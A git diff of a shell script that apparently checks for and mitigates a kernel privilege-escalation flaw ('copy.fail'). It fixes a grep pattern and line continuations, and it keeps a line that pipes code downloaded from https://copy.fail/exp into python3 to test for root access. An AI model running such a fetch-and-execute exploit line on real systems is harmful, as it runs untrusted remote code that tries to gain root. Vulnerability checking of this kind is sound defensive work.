diff --git a/fix-copy-fail.sh b/fix-copy-fail.sh old mode 100644 new mode 100755 index 0ebd76f..0259baa --- a/fix-copy-fail.sh +++ b/fix-copy-fail.sh @@ -29,7 +29,7 @@ set -x # Delete the test user if it exists -grep '^testu ' /etc/passwd && deluser testu; +grep '^testu:' /etc/passwd && deluser testu; # NOTE: this make the script repeatable however # it will still abandon the 'testu' account # @@ -44,11 +44,11 @@ grep '^testu ' /etc/passwd && deluser testu; adduser --disabled-password --gecos='""' testu \ && su testu -c 'cd; curl https://copy.fail/exp | python3 && su -c id' | grep root \ && echo "EXPLOIT DETECTED: copy.fail FFI, please see: https://copy.fail" \ - && echo - && echo "The system MUST be restarted before confirming the fix." - && echo "If changes are made this should happen automatically but do it manually if that fails." - && echo - && echo "Pausing for ten seconds before attempting to fix.." + && echo \ + && echo "The system MUST be restarted before confirming the fix." \ + && echo "If changes are made this should happen automatically but do it manually if that fails." \ + && echo \ + && echo "Pausing for ten seconds before attempting to fix.." \ && sleep 10 \ && echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf \ && rmmod algif_aead \